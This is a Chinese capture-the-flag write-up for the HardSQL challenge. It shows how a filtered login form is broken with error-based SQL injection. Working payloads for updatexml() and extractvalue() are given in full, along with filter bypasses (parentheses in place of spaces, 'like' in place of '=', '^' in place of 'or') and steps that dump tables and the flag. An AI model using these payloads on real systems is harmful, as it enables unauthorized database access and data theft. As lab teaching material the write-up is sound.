非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

题目环境:

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了

做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin

password:1
这里把参数password作为注入点


1'

单引号的字符型注入

万能密码注入
1' or '1'='1

万能密码注入被链接

猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符

Intruder字典爆破

光标选中参数password的值1-Add选择爆破目标

选用字典

Start attack开始爆破

OK

爆破结果:

741为过滤内容

可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等被过滤

继续测试

admin

1' or


可以看到被拦截了

通过刚才的字典爆破,可以知道1'和or是没有被过滤的

那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙
刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin

1'(or)

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码
1'or((1)like(1))#

可以看到绕过了空格限制

同时也登陆成功了

然后想到了之前做过很类似的一道题

SQL报错注入也用到了空格限制

(已经试了堆叠注入和联合注入都不行)

这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数

函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数

函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数

注入原理:

(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)

(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它

函数floor() mysql中用来取整的函数

函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入

爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到库名geek

查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

得到数据表H4rDsq1

爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

得到三个字段:id、username、password

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#


1'or(extractvalue(1,concat(0x7e,(select(database())))))#

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

相关推荐
两个人的幸福14 小时前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
zzzzzz31018 小时前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
倔强的石头_3 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横3 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
沉默王二3 天前
面试官:RAG 不用向量数据库,用 MySQL 硬扛?我:100 万向量不是很轻松?
mysql·面试·ai编程
BingoGo3 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack3 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
冬奇Lab3 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
小猿姐3 天前
MySQL Top 10 热点问题 AI 运维实战:从内核诊断到云原生运维
mysql·云原生·aiops
用户3074596982074 天前
PHP 扩展——从入门到理解
php